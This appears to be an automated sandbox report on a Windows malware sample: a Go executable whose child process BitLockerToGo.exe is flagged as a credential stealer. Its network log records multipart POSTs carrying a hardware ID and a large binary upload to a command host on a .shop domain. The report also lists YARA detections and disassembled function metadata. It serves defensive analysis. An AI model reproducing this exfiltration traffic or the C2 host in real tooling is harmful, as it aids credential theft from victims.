2024-05-02 15:04:32 UTC	804	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:04:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mppi8fgkujg3u98lrlvhquncq2; expires=Mon, 26-Aug-2024 08:51:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DT9jtVdfuOMusrq3jQU2w%2BJYGxLjlr1WpVjEx0kF2kh8ufP4h3SPjJq4mSJqj5l5USYmptu12KO6vwDjIfpi99wfaluPLm2cFG98hKkVITKpbK28KsbnLZVtGleJ4CbKA10Dg%2F679B7%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d8e781ed9c8c8f-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 15:04:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 0d 0a Data Ascii: 11ok 191.96.150.225
2024-05-02 15:04:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49724	104.21.95.19	443	7060	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:04:33 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1365 Host: shatterbreathepsw.shop
2024-05-02 15:04:33 UTC	1365	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 44 45 36 43 33 45 35 37 35 33 30 36 43 39 41 46 46 45 37 36 34 30 44 36 39 41 36 39 35 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 70 73 47 56 46 2d 2d 47 45 49 52 4f Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8CDE6C3E575306C9AFFE7640D69A6953--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xpsGVF--GEIRO
2024-05-02 15:04:33 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:04:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ctu4ugf4a7528lok83o4mo3fje; expires=Mon, 26-Aug-2024 08:51:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F6oS%2F4xU%2BB9GmpUB7jLfsYDbMU1vfBqTVWhSt0Sosqa4EjSRIN%2F2yjLoQThLsqyN6lxp2nXe1gmm0oHTfZbhs2sfiABDohtQJmZiWx0fSKO5kLjhTQkNZRadxfJsMsBSoGEZQ0c7rLcW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d8e786bd550c7a-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 15:04:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 0d 0a Data Ascii: 11ok 191.96.150.225
2024-05-02 15:04:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49726	104.21.95.19	443	7060	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:04:34 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 556486 Host: shatterbreathepsw.shop
2024-05-02 15:04:34 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 44 45 36 43 33 45 35 37 35 33 30 36 43 39 41 46 46 45 37 36 34 30 44 36 39 41 36 39 35 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 70 73 47 56 46 2d 2d 47 45 49 52 4f Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8CDE6C3E575306C9AFFE7640D69A6953--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"xpsGVF--GEIRO
2024-05-02 15:04:34 UTC	15331	OUT	Data Raw: 48 88 1f cc 28 ec 0f 92 da 61 9a ed 1b 6c 1f 76 7f a9 29 7a c9 54 12 91 22 a4 60 8c 93 7e 7b 78 4c f9 57 58 40 74 e6 f3 c4 99 89 06 17 74 4b 85 cd d1 d4 9d 81 1b 63 57 8c b4 d6 af 9b 9b b6 a1 c4 9d 07 cd 69 b8 ab c6 0e aa ca cc 6f 2e 05 4d d2 92 b3 1a a4 f9 9e 26 31 15 29 5e a6 91 c5 07 99 55 4e e5 32 7a 2e 69 ab 93 1e fa 97 6c 59 53 93 05 26 6c 8d 50 c6 5f 21 f2 36 ba f9 31 04 d7 43 35 0a f8 23 ad 70 a9 d7 af ec f8 d6 8b 57 ab fd 37 56 41 c6 01 7a e8 38 ea ae 1e 43 54 0c 1d 23 a9 c3 d0 62 c9 96 75 42 9c 11 5d 47 a1 1a 15 86 7d 1e bb 33 fe 28 3d 06 62 94 f2 78 0d 97 41 b7 d2 1e 05 90 ad bd 7c e4 37 c0 38 f6 1a cf 14 24 cc c9 bc b6 9f f8 ab bf ce 7f 14 b5 b4 c3 c7 04 4d 4f 76 bb f1 62 30 db 5d e8 dc 3f 09 a5 eb 8f 23 32 af d5 84 b6 f5 5d 93 79 37 78 61 7d Data Ascii: H(alv)zT"`~{xLWX@ttKcWio.M&1)^UN2z.ilYS&lP_!61C5#pW7VAz8CT#buB]G}3(=bxA\|78$MOvb0]?#2]y7xa}
2024-05-02 15:04:34 UTC	15331	OUT	Data Raw: 4d d4 a5 70 9f 3b db 41 8f d2 97 04 3e 24 57 61 87 76 7b 74 a2 26 df 72 56 0d 60 74 d6 d1 99 5b 16 a4 1a b4 5c cf 93 87 b6 53 a0 f5 62 b3 80 60 95 79 56 86 f6 0f c5 14 83 6d bc f8 3a 77 4b 79 b8 8d 79 f9 2b 2e d9 44 72 6d dc a5 a0 21 08 d5 a4 69 dd 46 bc 22 78 d0 e9 54 79 50 fc e2 51 05 73 4b 8e ac 4f d6 6f fa 08 c0 9d da de ac b5 ff 8c 2e 75 bf ed 16 36 22 da 33 57 f2 f6 40 dd c6 a0 4f 0f 85 db 4f 39 b9 54 1b e9 06 53 05 40 69 c3 77 f7 9e 25 d7 e0 d3 11 9f de 67 3e 76 e7 ce da f7 54 74 99 1a 71 3f f4 6b d9 bc 7e cb da 58 a3 bc 99 7d 5f 19 d0 7c 23 7a 55 bb f7 db 09 0d 34 c5 0f d0 62 e9 69 22 f5 10 44 9a be 71 3d 5a 2f 7a 6b a5 43 97 35 05 31 b0 22 c3 75 23 7c a0 de 04 00 56 df 5d 08 56 f9 60 e0 d5 04 18 b8 40 ad 1b 86 e0 fb 5b 04 b5 7d 01 e3 1c 4c 41 02 Data Ascii: Mp;A>$Wav{t&rV`t[\Sb`yVm:wKyy+.Drm!iF"xTyPQsKOo.u6"3W@OO9TS@iw%g>vTtq?k~X}_\|#zU4bi"Dq=Z/zkC51"u#\|V]V`@[}LA
2024-05-02 15:04:34 UTC	15331	OUT	Data Raw: a7 6a 27 3e 9a e2 1e 5d ab 2b 1a 82 b3 a4 99 cc ec fe 6a ab df a8 e9 4f 6a 9f 1c 8a 55 aa ef a1 19 f7 d8 38 58 00 4a e2 85 f3 a1 14 99 68 8c 20 35 c9 5b 24 13 62 c5 ad 15 ee e9 36 12 87 c9 2d 7b 1c 48 37 ae 88 ff 52 0c 7c c6 c6 2d 67 1e 4a 0f ae 8c 73 ff b2 5e 31 12 23 d8 fd 1b 2e 40 10 0e 36 4a a2 76 db a7 cd d0 5d ff 54 08 af 94 5d 9c cb 0f 29 ae c4 65 26 cd f9 7c ea 95 04 69 91 ff 6b 8d fa 7f 97 43 15 b6 83 69 2c ea 84 3f e8 be 62 b5 0b e4 68 61 5c 26 f9 40 c3 6a c0 55 85 6b 4c 19 75 ec e7 8e a6 b5 63 07 c1 61 fe 78 a9 08 37 c8 72 f1 55 5c 08 0a 3e e9 0f 42 fb 0f 47 bb 5c 33 65 50 f0 59 56 43 83 f3 0b 49 58 90 aa f0 c3 98 7b b4 d1 49 96 73 34 f1 2a 36 e4 63 a3 31 f3 85 75 72 c8 41 54 df 5b 74 01 3f d4 55 5c 04 86 7b ea 8c cb 37 c7 05 3c ae 6c 1e d2 02 Data Ascii: j'>]+jOjU8XJh 5[$b6-{H7R\|-gJs^1#.@6Jv]T])e&\|ikCi,?bha\&@jUkLucax7rU\>BG\3ePYVCIX{Is4*6c1urAT[t?U\{7<l
2024-05-02 15:04:34 UTC	15331	OUT	Data Raw: f7 e3 e0 7f 8c 55 41 bd e4 bc 48 5d d8 d3 38 2d f5 da d2 6c 97 36 c9 f8 e7 cc 24 ef 56 04 e0 d3 44 6c 75 d1 43 c4 22 46 9b d4 9d 52 d9 c8 89 3e 63 75 e0 5c 64 9b 4e d7 5e 3d 5a ea aa 48 77 d8 c5 fa 5e 65 fd 8f 4c 72 7e 38 07 2d 8c 42 6d 24 d0 43 ef 57 20 64 5a 00 35 2d ba 08 b1 4c ec de d0 a7 c3 3f 9c 98 6f 34 c2 86 bb 34 28 5b ba 66 da 27 0d 0d b2 f8 dd fb cb 6f 6f bc 14 a5 89 f0 db 00 3b 0c 4f 57 be ad ce 78 4a a6 08 24 d7 c9 46 1a d5 21 49 20 71 0c 75 6e eb e2 58 35 7a 3e be 54 23 1d be 23 bc f4 58 58 4d 2e d9 c2 36 23 01 27 2e b6 77 be 70 c7 36 6d 01 85 5b dc c9 f5 a7 b2 91 47 84 8d ab be ad 34 6a 05 ac 66 b6 b0 09 61 8d da 18 71 f0 ba 77 df 48 d6 94 04 f8 76 bf f1 10 96 1e 7c 8d 2a 2f bf 13 08 7e 45 8f 54 45 1a cb ab 0b ff 31 5c 25 c7 7b f1 78 4e c4 Data Ascii: UAH]8-l6$VDluC"FR>cu\dN^=ZHw^eLr~8-Bm$CW dZ5-L?o44([f'oo;OWxJ$F!I qunX5z>T##XXM.6#'.wp6m[G4jfaqwHv\|*/~ETE1\%{xN
2024-05-02 15:04:34 UTC	15331	OUT	Data Raw: 85 9c 45 3a b8 66 26 72 03 e0 c7 48 70 96 3b 26 bc 35 fd 9a 30 4d 3d b0 c5 49 74 6b 0a cc e6 a4 10 3a c6 f7 0e b4 a4 61 48 0a 03 d6 7d f4 c7 d2 9f 6e cd 0d 72 f3 db 4b 2c 8c a5 cd 10 5d 90 56 0e ce cb cf 8b 23 c8 86 9b 5d f3 6b 0c 20 f4 fa c6 16 b2 09 f6 b9 0c 31 b0 00 8e 4b ba 28 17 3e b4 6c c3 6a 6c 18 24 72 6c d6 32 51 8c af bd 6b 47 48 8e 9c 5b bc 16 af 8c 9e 59 44 c3 31 0f 75 21 b0 2f 15 68 a2 79 d3 95 d4 37 7e e1 64 1a f9 5c d4 69 0f 99 8c 62 4e 81 78 5a 44 d9 2c c3 74 77 a9 ca 6b 8d ee 9f d7 d1 28 30 b0 b8 da 74 04 66 c7 c0 9b fa 18 7e 70 9b 4c 7b f7 df 26 db 4d c0 a4 a9 01 cb 38 c7 fc 49 7f 3e e6 45 88 f1 17 55 17 03 ec f8 b0 5a 44 6f 4b 50 90 f9 30 e2 23 b2 2e a1 b8 43 e2 05 f2 78 fc 71 29 30 5d 0f 21 1a 56 0a 62 9c e8 85 1b f7 85 0f bc 72 c2 db Data Ascii: E:f&rHp;&50M=Itk:aH}nrK,]V#]k 1K(>ljl$rl2QkGH[YD1u!/hy7~d\ibNxZD,twk(0tf~pL{&M8I>EUZDoKP0#.Cxq)0]!Vbr
2024-05-02 15:04:34 UTC	15331	OUT	Data Raw: 4a dd f5 7d e8 cf 50 79 f1 52 40 45 0c 96 50 f6 a3 61 54 d4 54 cf 69 87 0c c9 18 6a 1a 68 7d 1c 37 0a 91 cd c8 d3 20 bf 91 f5 80 6a db f9 c6 12 b7 25 8e b8 be 33 45 83 89 8a 0a 7d 2d db aa 8f 46 2e 24 da 12 6c b5 ce 0c d4 5a 6b b9 44 ec 10 2d 3d c9 4c 42 6a fb 6a fa ff b6 83 c3 53 84 3c 86 32 bc d1 af 65 e9 01 7d 51 82 0b 3a 76 43 8f 3d e7 dd b4 2a b8 ef 3c 3f 01 3e 4f 5e 31 81 a2 3d e5 39 79 6e bb 2f e0 76 a4 d5 13 80 16 26 84 ef 35 11 3f ee 66 8b 30 92 2e 25 3e 30 e9 c5 1c f7 31 de 99 ba 6b f2 34 39 c5 47 fe b5 2f cf 11 98 61 73 34 49 bd ea f9 54 ed bb a2 85 ab 04 db 91 06 cd 5b a9 66 35 49 9b 89 7f 5f 30 23 6b 20 8a e6 5b 95 72 ec dc 80 79 9d 31 c2 64 70 4e 2d d3 e6 05 a3 43 34 87 f5 c0 c7 55 63 93 2e 62 3a 8d 3d 03 72 e6 4c 9b f1 97 cb e3 ea cc 10 66 Data Ascii: J}PyR@EPaTTijh}7 j%3E}-F.$lZkD-=LBjjS<2e}Q:vC=*<?>O^1=9yn/v&5?f0.%>01k49G/as4IT[f5I_0#k [ry1dpN-C4Uc.b:=rLf
2024-05-02 15:04:34 UTC	15331	OUT	Data Raw: cd 08 e6 9f ce e3 8f 2a 73 f4 54 44 cf 1d 2f d1 32 39 7f aa 9e 4c 16 42 f4 d6 d6 1e 05 8e 10 37 ff bc 3e c8 3a a9 cc dc de ed 29 25 33 d7 06 a5 78 89 68 fe 1b b6 1a 9e 9c e6 e7 aa d9 27 5b 64 f1 11 41 7e 84 86 25 11 62 d2 b9 c7 b4 db 25 bd 1e 85 fd 56 70 e0 45 0b 04 66 74 4d de 31 f1 cf 90 e5 bc 24 d1 aa 78 b4 e2 50 ce 1c fd ce 44 83 20 1b 35 f4 84 ad 87 ec f6 af 6c d1 d9 16 fa b3 5e 37 67 8e 91 e0 39 6e ea b4 5a 64 58 17 d6 7e 9c 84 30 d1 10 28 fa 4e 99 e9 24 6c 6a 64 66 44 32 dc 78 cd 9f 05 19 3e 2f b8 83 71 21 4c 7d a6 41 03 4d 10 fa 25 b7 93 79 c9 c2 f1 12 b3 16 5a fb de 7b 8c a5 6d 38 de 01 a4 64 04 5f 0b 25 2d 21 67 e5 6a d7 34 9a 44 d5 e5 68 e2 f2 11 7e d0 b0 30 51 91 a2 98 95 fe 38 04 e5 9e 29 00 27 19 80 4b 4b 85 4d a8 f7 9f e4 f7 59 65 f2 43 67 Data Ascii: *sTD/29LB7>:)%3xh'[dA~%b%VpEftM1$xPD 5l^7g9nZdX~0(N$ljdfD2x>/q!L}AM%yZ{m8d_%-!gj4Dh~0Q8)'KKMYeCg
2024-05-02 15:04:34 UTC	15331	OUT	Data Raw: 9d a9 f3 0e d8 a9 57 d1 e8 fd 90 ee b1 f8 44 a1 8c d9 1d 66 93 09 8b 1a 5d d1 69 80 98 3e ab 59 01 15 c4 d2 31 8c 28 a4 9f e2 a8 b1 44 01 84 4d ab de 15 ef 05 a6 af f6 32 97 9e 1f 73 43 12 9f 79 e8 3d fc ab 08 4a 60 26 81 a8 31 01 47 0d 81 97 3c d8 cd b4 07 29 91 54 98 f3 ef 6d a3 ef 6e 22 65 83 c2 67 a1 85 2e 00 3b a2 0c 92 1c 1d 02 45 ae 61 01 b4 de 25 a6 67 a2 b0 e0 9e 1c b3 73 21 5c e3 a1 79 55 28 12 ab b8 de b5 69 1a 1d 89 8a 8a 8e 1a eb 98 87 ad 8c dd b3 b0 e8 20 4f 91 8c 56 e1 73 a6 d8 16 b3 03 87 53 af 0a 8a 83 47 27 19 c6 1a 02 97 d0 40 4e 69 fb 81 e8 e9 44 46 e2 71 52 1b a2 c1 fd 0e 56 b0 ef 05 47 14 24 16 81 96 2f 8c b5 d3 a0 1a 27 21 5d 96 ed 75 fd 70 cb 21 b6 09 34 ca b8 57 fa 90 a1 12 ad e3 5a 64 de 6b d9 61 39 f2 38 49 b4 03 36 e4 de 46 2d Data Ascii: WDf]i>Y1(DM2sCy=J`&1G<)Tmn"eg.;Ea%gs!\yU(i OVsSG'@NiDFqRVG$/'!]up!4WZdka98I6F-
2024-05-02 15:04:34 UTC	15331	OUT	Data Raw: 6f 68 d3 8b b9 3f c1 46 e3 dc 5f 4a 89 95 7b aa b8 1f 87 c7 d6 76 a0 51 1b b5 14 fa 70 38 85 3b 3b 37 4e 77 4b 6d a2 cd b3 e9 01 96 cc 21 65 14 b7 d1 9c 91 40 f9 5d 3b ec 31 b1 e0 37 16 ba f9 9d 33 b8 1e a4 12 e4 67 52 96 1b 20 3a 3b 25 42 ff f3 5e 1f 80 d2 43 29 0f 37 bf b8 d9 6f 11 2c 6e 93 53 78 7a 1c f4 bd bd b0 ee d7 fd 7f 87 bd 0e 40 19 41 0b bb c0 07 1c 39 14 41 95 b8 8a 6d d3 02 5b d9 6a 1b 45 47 da c4 b6 02 a1 a9 c2 98 b2 10 3e 1f 45 a7 0f 3a 17 c9 ef 30 94 96 3f 8f 69 64 be e7 16 5b cb 90 c9 57 82 cc ad 37 b9 ff 6e d9 1d d6 b6 a4 cc 67 e2 01 03 3e 94 ee af 77 23 05 26 fa ee d2 7f 82 1e 0b b2 1d a8 85 3b 9e 02 52 36 dc bd c3 b3 e6 a4 04 44 dd d6 f4 43 04 01 06 1e 85 7d d0 3f 5b 9b 1e 84 b0 41 01 67 46 ef ae 85 a2 00 be dc 0b 88 dd 33 de 18 94 fd Data Ascii: oh?F_J{vQp8;;7NwKm!e@];173gR :;%B^C)7o,nSxz@A9Am[jEG>E:0?id[W7ng>w#&;R6DC}?[AgF3
2024-05-02 15:04:38 UTC	810	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:04:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ptg8e02pib4vtgtjp7sgs5cubd; expires=Mon, 26-Aug-2024 08:51:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WMU0q03QIQGHx2dgSj%2F3ItNTTsrob9OdT40xFf2Hq2ZT9sMwqjs1LERRphdKCT1wXY4d5nXNW5LV6%2BQN6qr7gvuu8VQoztcorowvScwgP%2F2a%2BP%2BDyaWEQAV6a16JBlt%2Fd1wngeaL4YPp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d8e7924ad32ee8-MEL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	17:03:56
Start date:	02/05/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff679810000
File size:	9'048'064 bytes
MD5 hash:	7E37F8C945D005226870E60AA2BAEA93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.2354687188.000000C000326000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:04:20
Start date:	02/05/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Imagebase:	0xcb0000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000003.2397981986.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000003.2389056869.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000003.2483917008.0000000002EAF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2532039828.0000000002EAF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000003.2483286988.0000000002EAE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000003.2531513795.0000000002EAE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.5%
Total number of Nodes:	306
Total number of Limit Nodes:	10

Executed Functions

Function 02D1F713 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 02D1F7C4
GetSystemMetrics.USER32 ref: 02D1F7D5
DeleteObject.GDI32 ref: 02D1F83D
SelectObject.GDI32 ref: 02D1F897
SelectObject.GDI32 ref: 02D1F928
DeleteObject.GDI32 ref: 02D1F965

Strings

, xrefs: 02D1F8F5

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 1449868515-3916222277
Opcode ID: 1ef960be1ff11526231f9e0eb4c0a9ae70b112f49b6df5712fcb292756b2d7e3
Instruction ID: fcc1faa18083c9380fa0df4ade78b602cb2483e911d00d933a34c99e48ed44f0
Opcode Fuzzy Hash: 1ef960be1ff11526231f9e0eb4c0a9ae70b112f49b6df5712fcb292756b2d7e3
Instruction Fuzzy Hash: 03A16BB4A14B008FD364DF2CD585A26BBF1FB49700B108A6DE99AC7B60D731B845CF92

Uniqueness

Uniqueness Score: -1.00%

Function 02CF1750 Relevance: 10.6, Strings: 8, Instructions: 594COMMON

Download Yara Rule

Strings

true, xrefs: 02CF18C9
null, xrefs: 02CF19FE
0, xrefs: 02CF17F3
., xrefs: 02CF17F9
{, xrefs: 02CF1AB5
false, xrefs: 02CF18E1
[, xrefs: 02CF19B8
., xrefs: 02CF181E

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: .$.$0$[$false$null$true${
API String ID: 0-1639024219
Opcode ID: 7402a38e10901c23d1dff2bd5ee4ba10f5d9c518661c5b84a7f21568ae438ca8
Instruction ID: 7bec225b00aacd30c2f9430787aadab6882e3fdf603892abd16d2d598832c58f
Opcode Fuzzy Hash: 7402a38e10901c23d1dff2bd5ee4ba10f5d9c518661c5b84a7f21568ae438ca8
Instruction Fuzzy Hash: C51214B4A00346DBEBD05F25DD44726BBE5AF80358F0D8538DA8E87282F7B5D614CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02CF9E70 Relevance: 7.9, Strings: 6, Instructions: 418
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

*, xrefs: 02CFA0FF
1N, xrefs: 02CFA2EF
&$>&, xrefs: 02CFA24A
M-, xrefs: 02CFA2FF
Ar, xrefs: 02CFA2F7
0, xrefs: 02CF9ED0

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: &$>&$*$0$1N$Ar$M-
API String ID: 0-3759687519
Opcode ID: b2ff3f3caecfca53e7fa99681c275eecf9fabe6f2c525676131829a1ea30a565
Instruction ID: 309a2b067a1ff5145c42b2c6b1631c072e08b88c7676e7a70e73b3cb9849badc
Opcode Fuzzy Hash: b2ff3f3caecfca53e7fa99681c275eecf9fabe6f2c525676131829a1ea30a565
Instruction Fuzzy Hash: 99020FB05083818BE364CF14C494B6BBBF2BBC6348F148D1CE6D54B292D77A9909CB96

Uniqueness

Uniqueness Score: -1.00%

Function 02D16644 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 667
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 02D16AF4
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 02D16BFF

Strings

jLB , xrefs: 02D16885
CFZA, xrefs: 02D16C0B

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID: CFZA$jLB
API String ID: 3545744682-1295935614
Opcode ID: da00a0835e08387636e3cf2447087f66bc6811799a83427c9953aa9fcc3fc6be
Instruction ID: 6376f82faea7e6ec3f88634beac5979cfc2154617f036954069fa7b14442543e
Opcode Fuzzy Hash: da00a0835e08387636e3cf2447087f66bc6811799a83427c9953aa9fcc3fc6be
Instruction Fuzzy Hash: C0328F70145B808AE739CF34C494BE3BBE5BF16309F44499DC4EA8B782D77AA509CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02D16647 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 655
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jLB , xrefs: 02D16885
CFZA, xrefs: 02D16C0B

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: CFZA$jLB
API String ID: 0-1295935614
Opcode ID: d9293608b8eb3036a9af5adf0f84f212e8739b2896d948e3135ac176e024b153
Instruction ID: 7669cf58a63e6ce5142e0be1aef8f7456851ed583ba706f6066a79f0464df7ba
Opcode Fuzzy Hash: d9293608b8eb3036a9af5adf0f84f212e8739b2896d948e3135ac176e024b153
Instruction Fuzzy Hash: 29327C70145B808AE739CF34C494BE3BBE5BF16309F48499DC0EA8B782D77AA505CB91

Uniqueness

